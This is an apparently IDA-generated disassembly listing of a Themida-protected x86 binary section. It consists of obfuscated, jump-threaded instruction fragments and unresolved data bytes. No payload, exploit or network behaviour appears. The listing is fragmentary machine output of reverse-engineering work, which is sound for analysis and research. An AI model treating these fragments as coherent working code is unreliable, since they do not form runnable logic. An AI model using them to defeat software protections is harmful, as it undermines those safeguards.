a0S2 db '0Ðé2Ù',0 dw 5000h dd 8904EC83h, 0CA882414h, 0DBE9D488h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507DBB: ; CODE XREF: Themida_:005061E8j sub esp, 4 mov [esp], esi mov esi, 53A65F10h mov ebx, 58C3D1EEh jmp loc_51521D ; --------------------------------------------------------------------------- db 5 aVvSI db 'vV',0Bh,';)Øé¶©',0 dw 8100h dd 58611DEEh, 4E07E956h db 2 dup(0) word_507DEA dw 34FFh ; DATA XREF: Themida_:00502A5Co dd 2434FF24h, 8124048Bh, 4C4h, 0EAF3E900h, 0E953FFFFh dd 0BD75h dword_507E04 dd 240C8B66h, 250F68h, 24348900h, 7004E954h, 0E6890000h ; DATA XREF: Themida_:005029A4o dd 4C681h, 0C6830000h, 24343304h, 33243431h, 815C2434h dd 4C4h, 0AC95E900h, 0CA80FFFFh, 6EA8095h, 285AD528h, 46E959EEh dd 68FFFFE9h, 4, 59C80159h, 405h, 24048700h, 1DBF575Ch dd 12AA331h, 0EB815FFBh, 42F1105Bh, 6806E9h, 24348900h dd 28E0BF57h, 0B4E91AF6h, 55000042h, 0F42632BDh, 6EDC167h dd 83CFED81h, 0EA81B9D9h, 7F4E6D7Ch, 0C281EA29h, 7F4E6D7Ch dd 53DA295Dh, 0FFE841E9h, 241C8BFFh, 0AE39E9h, 4BA00h dd 0D1E90000h, 29FFFFB3h, 0EA0158C5h, 5D2434FFh, 0B417E9h dd 71E98000h, 0E941F180h, 0FFFFC300h ; --------------------------------------------------------------------------- loc_507ECC: ; CODE XREF: Themida_:0050A8C6j sub edi, 1 sub edi, 8DB31D7Dh jmp loc_505053 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0B8500000h, 7D905A34h, 4CF0C181h, 0C1011B87h, 4CF0E981h dd 6BE91B87h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507EFB: ; CODE XREF: Themida_:00514CF1j mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx jmp loc_514255 ; --------------------------------------------------------------------------- dw 148Bh aRszs db '$R金',0 db 0 ; --------------------------------------------------------------------------- loc_507F17: ; CODE XREF: Themida_:00517BF8j push ecx jmp loc_50A651 ; --------------------------------------------------------------------------- loc_507F1D: ; CODE XREF: Themida_:00505FA9j pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [edi+eax*4] push ebp jmp loc_514DA3 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 515DEB21h, 1B08E9h db 0 ; --------------------------------------------------------------------------- loc_507F3D: ; CODE XREF: Themida_:0050FC06j shl edi, 1 shr edi, 5 neg edi jmp loc_511D50 ; --------------------------------------------------------------------------- db 5Bh, 53h, 0E9h dd 0BF8h dword_507F50 dd 240C8B66h, 81E18951h, 4C1h, 28BD5500h, 0D164345Eh, 2599E9E5h ; DATA XREF: Themida_:005029D8o db 2 dup(0) ; --------------------------------------------------------------------------- loc_507F6A: ; CODE XREF: Themida_:0050FFA8j xchg edi, [esp] mov esp, [esp] or eax, eax jz loc_50BDB2 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_5125EE ; --------------------------------------------------------------------------- db 0F7h dd 505540D0h, 0FEF3E9h, 8BD02900h, 89532414h, 19968E3h dd 0C890000h, 4B924h, 0CB010000h, 4C38359h, 2474FF53h dd 2434FF04h, 0BC50E9h, 0D3ED8100h, 119A904h, 0D3C581F5h dd 0E919A904h, 16BEh, 1544BE56h, 48E97662h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507FD3: ; CODE XREF: Themida_:00517A25j push edi mov edi, offset word_4D905A xor ebx, edi pop edi add ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_50E67B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0ED0C4DBDh, 4FBA5216h, 312ADB6Fh, 8DE95AD5h, 5000005Ch dd 405E089h, 0E9000000h, 5C16h, 148B5E52h, 5B8EE924h, 0ED810000h dd 4, 8B242C87h, 2C892424h, 4CAB6824h, 685D1477h, 3838h dd 68243489h, 5BEAh, 0BA241489h, 43766A30h, 8108EAC1h dd 522CC7CAh, 0CA16E936h, 0CA290000h, 815AD189h, 0A008D7C9h dd 0E955413Fh, 81BEh, 0F800F104h, 44E9F12Ch, 1FFFFE8h dd 2C3358C5h, 242C3124h, 0E9242C33h, 72F4h, 8958C301h dd 0F5815BDDh, 748C243Ch, 73F16852h, 34FF5DD2h, 0C4835A24h dd 0EA8104h, 92BBC28h, 0BB06E9D5h, 48F0000h, 24048124h dd 4, 7660E9h, 24048B00h, 0E904C483h, 31C0h, 53241489h dd 0FFCB06E9h db 0FFh ; --------------------------------------------------------------------------- loc_5080D1: ; CODE XREF: Themida_:0050715Bj mov [esp], edx push 31C21AAFh pop edx push edi mov edi, 0E04FC206h sub edx, edi pop edi mov eax, edx pop edx xor eax, 0E3316DFh push 0 sub [esp], eax jmp loc_503314 ; --------------------------------------------------------------------------- dd 0EAC1425Ah, 96F28107h, 8900A3A2h, 0E9815AD3h, 5FD82BC2h dd 0C181D901h, 5FD82BC2h, 0D4FAE9h, 81C58100h, 29D957ADh dd 0C2015DE8h, 5624048Bh, 1A28E9h, 0E9E68900h, 0C528h ; --------------------------------------------------------------------------- loc_508134: ; CODE XREF: Themida_:00502EB5j pop esp push ecx mov ecx, esp jmp loc_5100D6 ; --------------------------------------------------------------------------- loc_50813D: ; CODE XREF: Themida_:0051792Aj mov [esp], ecx push 1206h mov [esp], ebx push ecx mov ch, dl mov bl, ch pop ecx jmp loc_510976 ; --------------------------------------------------------------------------- db 83h dd 600404C4h, 602CD028h, 0F368E9h db 0 ; --------------------------------------------------------------------------- loc_508161: ; CODE XREF: Themida_:0050FBA8j push ecx jmp loc_512B06 ; --------------------------------------------------------------------------- loc_508167: ; CODE XREF: Themida_:005075C1j pop ecx xchg eax, [esp] pop esp jmp loc_514CEC ; --------------------------------------------------------------------------- db 5, 0F6h, 30h dd 0C529C840h, 0BE565B58h, 2, 786EED81h, 0F50150B4h, 786EC581h dd 555E50B4h, 42474FFh, 0FFBF5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_508199: ; CODE XREF: Themida_:0050BA9Bj sub edx, ecx pop ecx pop ebp jmp loc_51248D ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 0F7240431h, 4E92E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5081B2: ; CODE XREF: Themida_:00515A0Bj mov edi, [esp] add esp, 4 push eax mov eax, 4BEF7EECh add eax, 21D6C70Fh xor edx, eax pop eax and eax, edx pop edx shr eax, 0Ah xor eax, ecx push eax jmp loc_5044A3 ; --------------------------------------------------------------------------- db 89h dd 0E8E92404h, 68000044h, 6271h, 68240C89h, 2CCCD612h dd 0E9240C8Bh, 4417h, 1A08E95Bh, 14890000h, 57D26824h dd 4890000h, 4F7EB824h, 74E93204h, 5AFFFFFDh, 0B850h, 0E8290000h dd 0F5815895h, 2DC117DFh, 8307EDC1h, 348904ECh, 336D6824h dd 38E97C33h db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_508233: ; CODE XREF: Themida_:0051599Aj mov cl, dl jmp loc_50F464 ; --------------------------------------------------------------------------- dw 5453h dd 4C3815Bh, 57000000h, 4BFh, 5FFB0100h, 5C241C87h, 8704C383h dd 0FF5C241Ch, 0E99C240Ch, 0FFFFA86Bh, 0E9242C8Bh, 3C7Ah ; --------------------------------------------------------------------------- loc_508268: ; CODE XREF: Themida_:005151A6j push edi pop eax push dword ptr [esp] pop edi push esi mov esi, esp jmp loc_509112 ; --------------------------------------------------------------------------- loc_508276: ; CODE XREF: Themida_:00516A54j push eax mov eax, 63444360h xor eax, 9CBBBC9Fh add edx, eax pop eax add edx, 0AC790B3Ah mov ebp, edx pop edx dec ebp and ebp, 43D52FB1h add ebp, 0C61D214h sub edx, ebp pop ebp and eax, edx pop edx jmp loc_50D1C4 ; --------------------------------------------------------------------------- db 59h, 1, 74h dd 8B5E0424h, 0E0E9240Ch, 810000C5h, 0EEBA12F3h, 5BDA01DEh dd 5A36C181h, 0DFE97EC3h, 5B000057h, 58F468h, 241C8900h dd 39DDE9h, 327A6800h, 0E95B73A2h, 0E4FFh, 81241C8Bh, 4C4h dd 78BF2D00h, 0D02935C6h, 5464E9h, 81E58900h, 4C5h, 76616800h dd 7FE90000h, 81000078h, 7C147CEBh, 0EB8170h, 504FE003h dd 0A3E9D889h, 54000088h, 0E924048Fh, 0C427h ; --------------------------------------------------------------------------- loc_508324: ; CODE XREF: Themida_:0050F9DAj push 2A00h jmp loc_5115B5 ; --------------------------------------------------------------------------- loc_50832E: ; CODE XREF: Themida_:0050B93Fj xor eax, 4BB200Eh mov edi, eax pop eax push edx mov edx, 6ADA05D9h shl edx, 4 jmp loc_517F33 ; --------------------------------------------------------------------------- dword_508344 dd 240C8B66h, 4A97E9h, 1CED8000h, 5062CD80h, 0F3ACE9h ; DATA XREF: Themida_:00502A50o dd 2DE68100h, 53390E52h, 1909E9BBh, 5BDE3162h, 4EC8351h dd 68240489h, 9CE2A620h, 4064E9h db 0 ; --------------------------------------------------------------------------- loc_508379: ; CODE XREF: Themida_:00504C15j pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_5169B0 ; --------------------------------------------------------------------------- aZS db 'Z,',7,'éË',7,0 dd 59EF8800h, 4EC81h, 4890000h, 667DB424h, 88CA8852h, 66D488E1h dd 86D1F65Ah, 80C4FECCh, 0B3533FF4h, 0E9CBFE4Fh, 0D8Eh ; --------------------------------------------------------------------------- loc_5083B8: ; CODE XREF: Themida_:0050ADA6j mov ecx, esp push ebx mov ebx, 4 sub ecx, 33EC397Eh add ecx, ebx add ecx, 33EC397Eh jmp loc_5096E3 ; --------------------------------------------------------------------------- db 5 dd 69CE56ABh, 69E9D0F7h, 1FFFFC7h, 0EE2CE9F8h, 0EB800000h dd 4EC8365h, 89240C89h, 4C181E1h, 83000000h, 0E95104E9h dd 250h, 5404EC83h, 8324048Fh, 59042404h, 0BA49E950h, 8F590000h dd 3FE92404h, 5DFFFFD7h, 0DB8EE9h, 240C8B00h, 4C481h, 4010000h dd 242C8124h, 755A3A12h, 0FFA692E9h db 0FFh ; --------------------------------------------------------------------------- loc_508439: ; CODE XREF: Themida_:00512783j sub eax, 53F0113Ch add eax, esi jmp loc_514A3F ; --------------------------------------------------------------------------- byte_508445 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00502A64o dd 0D359669Dh, 0E99C241Ch, 9712h, 0F07B4668h, 0E9535B4Eh dd 1F6Dh, 8904C483h, 0F0015FFEh, 5E2434FFh, 6804C483h dd 5EDBh, 2CFE9h, 24348900h, 2E2668h, 24248900h, 1C4DE9h db 0 byte_508489 db 53h, 54h, 5Bh ; DATA XREF: Themida_:00502980o dd 6D35BD55h, 0C58128C7h, 253A0417h, 0FFB565E9h, 4A924FFh dd 58C6880Ah, 0FFE54BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5084A9: ; CODE XREF: Themida_:0050C021j add esi, 4 xchg esi, [esp] jmp loc_512750 ; --------------------------------------------------------------------------- db 1 dd 0F1C281CAh, 51511943h, 1E0A39B9h, 59CA0146h, 83240C8Bh dd 0C20104C4h, 62B7EA81h, 0F0E95855h, 83FFFFA5h, 0BB5301EAh dd 0AD65C99h, 0EF7CB81h, 0DBF74F17h, 0C227E9h, 8B686600h dd 84E9E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5084FA: ; CODE XREF: Themida_:0050A670j jmp loc_502ACB ; --------------------------------------------------------------------------- byte_5084FF db 56h ; DATA XREF: Themida_:005029A8o dd 24348B54h, 5704C483h, 4BFh, 5FFE0100h, 4EE81h, 34330000h dd 0A808E924h, 48BFFFFh, 20E95524h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508527: ; CODE XREF: Themida_:00513F90j mov ecx, 2AD044C3h and ecx, 0AA7C45h and ecx, 528E7050h jmp loc_50E7EC ; --------------------------------------------------------------------------- a_s db '_é}Ç',0 dw 5100h dd 7B02BE56h, 22E94572h, 660000ACh, 0E90AF135h, 0FFFFBEBEh ; --------------------------------------------------------------------------- loc_508558: ; CODE XREF: Themida_:0050FB81j push 7143h mov [esp], esi pop edi push dword ptr [esp] jmp loc_5168F4 ; --------------------------------------------------------------------------- db 1, 0CDh, 59h a31Ssx db '3,$1,$é‘å',0 dw 8B00h dd 51E92424h, 89FFFFD2h, 0FD1FE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508586: ; CODE XREF: Themida_:00512F95j add edx, 4 xchg edx, [esp] jmp loc_50AC83 ; --------------------------------------------------------------------------- dd 5528E681h, 0F6810771h, 44C22FD7h, 295EF789h, 0C2815FFAh dd 0E085BB5Bh, 0D27BC72Dh, 5D00111h, 11D27BC7h, 67CEE9h db 0 ; --------------------------------------------------------------------------- loc_5085BD: ; CODE XREF: Themida_:00503B48j mov eax, [esp] add esp, 4 push 184Bh jmp loc_5159B9 ; --------------------------------------------------------------------------- loc_5085D0: ; CODE XREF: Themida_:005121CCj not dword ptr [esp] pop edi shl edi, 5 push edx mov edx, 41A20183h and edx, 3C6D1EB1h add edx, 790734F8h shl edx, 5 push eax mov eax, 0AFD7516h and edx, eax jmp loc_50A4D0 ; --------------------------------------------------------------------------- db 0FEh, 44h, 24h dd 1C8B6601h, 2C48324h, 80F9C780h, 0C2E94EF7h, 81FFFFE1h dd 4C4h, 4EC8300h, 0B9240C89h, 0FFFFFFFFh, 3548C781h, 0CF017CB4h dd 3548EF81h, 81597CB4h, 9A27A9F7h, 8BFA8956h, 0C481243Ch dd 4, 0FFF948E9h, 4C481FFh, 0E9000000h, 0FFFFCF41h, 42474FFh dd 24048F59h, 2414895Ch, 2FE9BBB2h db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_508663: ; CODE XREF: Themida_:0050FFCDj mov bl, 6Eh sub al, bl pop ebx add al, 76h sub esp, 4 mov [esp], ebx mov bh, 37h or bh, 0F8h shr bh, 3 or bh, 84h jmp loc_51613A ; --------------------------------------------------------------------------- dd 215F68h, 0CCA0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50868A: ; CODE XREF: Themida_:005086C3j push 4 pop edx sub ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 66C7h mov [esp], esi push ecx mov ecx, esp jmp loc_512874 ; --------------------------------------------------------------------------- loc_5086B9: ; CODE XREF: Themida_:00505DCFj push ecx mov ecx, esp add ecx, 4 push edx jmp loc_50868A ; --------------------------------------------------------------------------- dd 0E996FE87h, 6E7Bh, 8904EC83h, 46E9241Ch, 290000E5h dd 0D70158C7h, 934E9h db 0 ; --------------------------------------------------------------------------- loc_5086E5: ; CODE XREF: Themida_:00514820j add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 543A7E43h push ebp mov ebp, 58733E6Ah add [esp+8], ebp pop ebp jmp loc_5044E4 ; --------------------------------------------------------------------------- dw 15Dh aS_7 db 'Âéœì',0 align 2 dw 76BFh dd 0C12BFE20h, 0D7F702E7h, 4EC81h, 0C6E90000h db 0F8h, 2 dup(0FFh) byte_50872F db 64h ; DATA XREF: Themida_:005029FCo dd 2B60F66h, 8904EC83h, 0E9542434h, 0B3F7h, 0E9241C89h dd 0FFFFC4DCh, 57243489h, 0EDEE9h, 606F6800h, 4890000h dd 3571E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50875E: ; CODE XREF: Themida_:00505073j add esp, 4 jmp loc_50FFD2 ; --------------------------------------------------------------------------- loc_508769: ; CODE XREF: Themida_:0050D025j sub ebp, 4 jmp loc_511DA8 ; --------------------------------------------------------------------------- loc_508774: ; CODE XREF: Themida_:00512FADj add ebx, 4 xchg ebx, [esp] jmp loc_51171D ; --------------------------------------------------------------------------- db 83h dd 0CE904ECh db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_508787: ; CODE XREF: Themida_:00504A0Dj add ecx, 54C05DFh add ecx, eax sub ecx, 54C05DFh jmp loc_51107A ; --------------------------------------------------------------------------- dw 0BAB9h dd 0BA55D60Dh, 55D60DBEh, 0E959CA29h, 0FFFFB63Fh, 0C781D701h dd 0B4046ACh, 4BA525Ah, 81000000h, 0BE0E53EFh, 578BE91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5087C6: ; CODE XREF: Themida_:00516C16j mov [esp], eax push 5A5h mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_504026 ; --------------------------------------------------------------------------- loc_5087E3: ; CODE XREF: Themida_:0050DD8Bj xor [esp], ebx jmp loc_503EA3 ; --------------------------------------------------------------------------- db 83h dd 9DE904C4h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5087F3: ; CODE XREF: Themida_:0050AF94j pop ecx add esp, 4 add ebx, 38054DEEh xchg ecx, ebx not ecx xchg ecx, ebx push eax mov eax, 1132F4Bh add eax, 2EE32ADFh neg eax shr eax, 8 push ebp mov ebp, 7AD816DDh push edi jmp loc_509A97 ; --------------------------------------------------------------------------- db 5Bh dd 5B25C181h, 0C8017527h, 0E9240C8Bh, 1FAEh ; --------------------------------------------------------------------------- loc_508830: ; CODE XREF: Themida_:0050734Aj mov edx, 4 jmp loc_510FB1 ; --------------------------------------------------------------------------- dw 895Ch dd 0EC832404h, 24248904h, 4240481h, 0E9000000h, 4FDCh ; --------------------------------------------------------------------------- loc_508850: ; CODE XREF: Themida_:0050DF7Fj add esp, 4 push 5B07h mov [esp], ecx sub esp, 4 mov [esp], edi add dword ptr [esp], 33644FD8h pop ecx sub ecx, 33644FD8h mov eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_512121 ; --------------------------------------------------------------------------- aZfpLUsU db 'ZfP´L(ãéÊž',0 align 4 loc_50888C: ; CODE XREF: Themida_:005139EFj mov esi, 3A652673h add esi, 2CD7E9C4h sub edi, 514E1BDFh jmp loc_509BCF ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFC24Ah, 582434FFh, 5304C483h, 468h, 14055B00h, 0E911DA7Dh dd 0FFFFCAC3h, 8033CF80h, 0A1E9D5C7h, 80FFFFF7h, 0C3283FEBh dd 0E93FC380h, 0D832h, 0C681E689h, 4, 4C681h, 34870000h dd 0EA815C24h, 104910AAh, 391CE9h, 241C8900h, 8D79E9h dd 2474FF00h, 48F5A04h, 3C895C24h, 2474FF24h, 0E9E95F04h dd 5E000073h, 8324348Bh, 0E95204C4h, 0FFFFBA24h ; --------------------------------------------------------------------------- loc_508920: ; CODE XREF: Themida_:00507492j mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_50D4C2 ; --------------------------------------------------------------------------- dd offset dword_450050+0D518h dd 241C8900h, 0E915B551h, 0FFFFFA09h, 40D4ED81h, 0B8E94C80h dd 68FFFFE9h, 417C7F65h, 81242C8Bh, 4C4h, 91F58100h, 0C134C14Eh dd 0E58108E5h, 658F62A1h, 0B8B8C581h, 59554243h, 53E9815Dh dd 10173B8h, 240C8BC8h, 8104C483h, 4ECh, 24048900h, 16685854h dd 8900003Bh, 4B9240Ch, 1000000h, 0B9CFE9C8h, 4F350000h dd 2982A9DEh, 0FB70E9C1h, 555BFFFFh, 3DE95251h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5089B7: ; CODE XREF: Themida_:00512F8Aj push ecx mov ecx, 2BE854E8h not ecx jmp loc_503792 ; --------------------------------------------------------------------------- dd 8904EC83h, 5A542414h, 0FFC818E9h, 0C8B60FFFh, 403468h dd 240C8900h, 0FFA0EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5089E1: ; CODE XREF: Themida_:00512A26j push ebx mov ebx, 24995ED5h not ebx jmp loc_515AFC ; --------------------------------------------------------------------------- aN1Hn9 db '1Øh9',0 ; DATA XREF: Themida_:005027F4o align 2 dw 2C89h dd 4EC8324h, 68243C89h, 6D95627Ah, 976AE95Fh, 524D0000h dd 317617BAh, 0C1DAF76Dh, 0EAC103E2h, 81EDE903h, 0A8E90000h dd 51FFFFA0h, 2C1C6850h, 0CE9287Bh, 0FF000035h, 0E9042474h dd 4673h, 815BD931h, 7A36E7E9h, 0E1895141h, 4C181h, 0E9810000h dd 4, 5C240C87h, 5D240C89h, 5AEB8159h, 0E946D261h, 0D364h dd 24348156h, 9D72037h, 37F18159h, 5E09D720h, 8324148Bh dd 40E904C4h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508A7F: ; CODE XREF: Themida_:005074A8j mov edi, ebp pop ebp jmp loc_514EF8 ; --------------------------------------------------------------------------- db 56h dd 0BB535E54h, 4, 835BDE01h, 348704C6h, 7F3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508A9E: ; CODE XREF: Themida_:0050CC57j add eax, ebp add eax, 783B0A65h jmp loc_512F80 ; --------------------------------------------------------------------------- dw 1C89h aIus db '$‰ãé×Ö',0 align 4 loc_508AB4: ; CODE XREF: Themida_:0050940Dj or [eax], ebp mov ebp, [esp] push edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi jmp loc_50E49C ; --------------------------------------------------------------------------- dw 4BEh dd 89000000h, 2434FFF3h, 0DFD4E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_508ADA: ; CODE XREF: Themida_:00514DE6j push edx mov edx, 492F6526h and edx, 0F0A16FCh jmp loc_514C97 ; --------------------------------------------------------------------------- db 1 dd 243C8BFBh, 4C481h, 5AE90000h, 830000F3h, 0CA0104C4h dd 3032E9h, 6E3C100h, 90BFC381h, 0D88921EDh, 993CE9h, 240C8B00h dd 8F04C483h, 665C2404h, 9C240421h, 0FF9FA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_508B29: ; CODE XREF: Themida_:00510427j push ebx push edi mov edi, 201C3F9Ch dec edi shl edi, 8 not edi jmp loc_50C18E ; --------------------------------------------------------------------------- loc_508B3B: ; CODE XREF: Themida_:005096DEj mov ebx, 38FD4F9Eh sub ecx, ebx pop ebx jmp loc_50AADC ; --------------------------------------------------------------------------- dd 0EC81D4B7h, 4, 0E9241489h, 0D7C8h, 6904B22Ch, 692CF828h dd 0B652B204h, 5AF00007h, 8B66912Ch, 0C481241Ch, 2, 22A6E9h dd 241C8700h, 0B87EE95Ch, 8F59FFFFh, 835C2404h, 348904ECh dd 4932BE24h, 0F6815702h, 57024936h, 835EF301h, 7BE904ECh dd 530000ACh, 0C37671BBh, 0D3EEE919h, 68530000h, 7DB3120Fh dd 5BDF215Bh, 0BB9AF781h, 8CE92BF6h db 0BCh, 2 dup(0) byte_508BC3 db 0FFh ; DATA XREF: Themida_:005029D0o dd 34FF2434h, 89515824h, 4C181E1h, 83000000h, 0C8704C1h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 5E292ED5h push 72Fh mov [esp], ebx mov ebx, 1F1029F3h push ebx add dword ptr [esp], 1 pop ebx add ebx, 55F71CB7h sub ebx, 5F122B09h jmp loc_516B5C ; --------------------------------------------------------------------------- loc_508C07: ; CODE XREF: Themida_:00509FF8j mov edi, 3E477F57h mov ecx, 40477F57h sub ecx, edi jmp loc_512E51 ; --------------------------------------------------------------------------- a0S db '0ÕéÒ',0Bh,0 dw 2900h dd 60E958C7h, 89FFFFCFh, 4812424h, 424h, 0C78E900h, 248B0000h dd 66E9F624h, 68CCB60Fh, 42FBh, 54241489h, 66E5685Ah, 4890000h dd 90E95324h, 54000010h, 2DB2E9h, 40500h, 0C0830000h, 24048704h dd 24048F5Ch, 6624248Bh, 2404B30Fh, 9D17E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_508C7A: ; CODE XREF: Themida_:00512842j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx add ebx, 4 push ebp jmp loc_50640E ; --------------------------------------------------------------------------- db 89h dd 7968242Ch, 0E9671B18h, 0B470h ; --------------------------------------------------------------------------- loc_508C9C: ; CODE XREF: Themida_:0050EB96j pop edi push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_504973 ; --------------------------------------------------------------------------- dw 895Ch dd 0CB682414h, 89000025h, 0FF682434h, 0FFFFFFFBh, 815E2434h dd 4C4h, 0E9F28900h, 0D5CEh, 2C181h, 0C870000h, 24248B24h dd 24040166h, 9DDDE99Ch, 0DF29FFFFh, 44E95E5Bh, 5B00006Fh dd 4F8FF581h, 3FE9223Eh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508D03: ; CODE XREF: Themida_:00506E79j add edi, edx jmp loc_516701 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0C1F9h, 5804C483h, 9E3E9h db 0 ; --------------------------------------------------------------------------- loc_508D19: ; CODE XREF: Themida_:0050AB13j mov edi, 4 add ebx, edi pop edi push eax mov eax, 659640EBh dec eax jmp loc_514365 ; --------------------------------------------------------------------------- db 83h, 0EBh, 0FFh dd 2CBEB951h, 0CB0162CBh, 15EDE9h, 243C8900h, 4BFh, 5FFB0100h dd 4EC81h, 34890000h, 4BE24h, 7FE90000h, 8900009Bh, 6943E9C5h dd 0C6010000h, 9C8BD55h, 0E581668Eh, 0ED41D89h, 4EE9D5F7h dd 8BFFFFC3h, 0C483242Ch, 4C48304h, 140068h, 24048900h dd 5556E089h, 0A0168h, 0C3DCE900h, 8952FFFFh, 4C281E2h dd 68000000h, 13F9h, 0E9242C89h, 4838h, 68241489h, 2556h dd 24048F54h, 4240481h, 8B000000h, 8E92414h, 30FFFFCBh dd 0B083E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508DCE: ; CODE XREF: Themida_:0050C1BAj push eax push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push eax mov eax, 45BC5B78h neg eax jmp loc_507B32 ; --------------------------------------------------------------------------- dd 48BC289h, 42F9E924h, 4BF0000h, 1000000h, 3E95FF8h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_508E0F: ; CODE XREF: Themida_:0050AC88j push esp pop ecx jmp loc_50BDA5 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815F24h, 4, 0FFC477E9h, 4C681FFh, 87000000h, 8F5C2434h dd 248B2404h, 0D6EB8124h, 83118F3Ah, 348904ECh, 60996824h dd 815E3BAEh, 4ECh, 12B1E900h, 91BE0000h, 0E906E15Eh, 0CBFCh dd 45ADF281h, 0D6316A61h, 0FFC795E9h, 72BF57FFh, 0C150360Ah dd 0EFD103EFh, 0D102E7C1h, 0CBC781EFh, 216945A6h, 0F6815FFEh dd 16C01C58h, 6DE9F101h, 1000057h, 241C8BDEh, 0AD66E9h dd 81E1D100h, 800622E9h, 59CA0102h, 0FF9D58E9h db 0FFh ; --------------------------------------------------------------------------- loc_508EA9: ; CODE XREF: Themida_:005030DFj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_507753 ; --------------------------------------------------------------------------- aLHP db '‹$$h[P',0 dd 240C8900h, 24BE6856h, 0C15E05F3h, 0EE8103EEh, 118748E9h dd 0F681D6F7h, 10C8E453h, 815EF189h, 8676B2EAh, 81CA0109h dd 8676B2C2h, 0D5FFE909h, 55520000h, 873F5BDh, 0B0CAE934h dd 0F168FFFFh, 89000005h, 0E9542404h, 0FFFFF998h, 58C1295Dh dd 0BF57E929h, 485346FEh, 393C181h, 0F90156CCh, 393E981h dd 3C8B56CCh, 4C48324h, 5D2434FFh, 4C481h, 0C870000h, 0BE2AE924h dd 0EE890000h, 0C181E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508F4A: ; CODE XREF: Themida_:005076EEj push esp pop edx jmp loc_514DE0 ; --------------------------------------------------------------------------- loc_508F51: ; CODE XREF: Themida_:00515821j mov [esp], ebp mov ebp, 516D1105h mov ebx, 516D1109h sub ebx, ebp mov ebp, [esp] add esp, 4 sub ebp, ebx pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_502ACB ; --------------------------------------------------------------------------- loc_508F80: ; CODE XREF: Themida_:005044C3j pop dword ptr [esp] push 3273h mov [esp], edx xchg edx, [esp] not edx push edx jmp loc_50C5AD ; --------------------------------------------------------------------------- dw 15Fh dd 242C8BE8h, 5004C483h, 42474FFh, 24048F58h, 0D324248Bh dd 0E99C2424h, 9244h, 61031C25h, 48D43512h, 26E93CCBh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_508FC3: ; CODE XREF: Themida_:0050E779j sub bl, cl pop ecx push edx jmp loc_514602 ; --------------------------------------------------------------------------- dd 0EA81EA31h, 1, 5E2EB951h, 0E9C15A23h, 70F18103h, 0E92A635Ch dd 2410h, 10656858h, 5AE90000h, 810000DEh, 4C5h, 4C58100h dd 87000000h, 0E95C242Ch, 77Eh, 81E18951h, 4C1h, 4C18300h dd 7B05E9h, 84C78100h, 5A05280Fh, 4EC81h, 1C890000h, 26824h dd 0DE90000h, 0BD0000A1h, 858B6C98h, 2C8BE929h, 0C199E924h dd 0C1010000h, 4E5DC181h, 48B1DCBh, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 4C181h, 0D4680000h, 8900001Ch dd 74FF240Ch, 34FF0424h db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp push 1DBDh mov [esp], eax jmp loc_502ACB ; 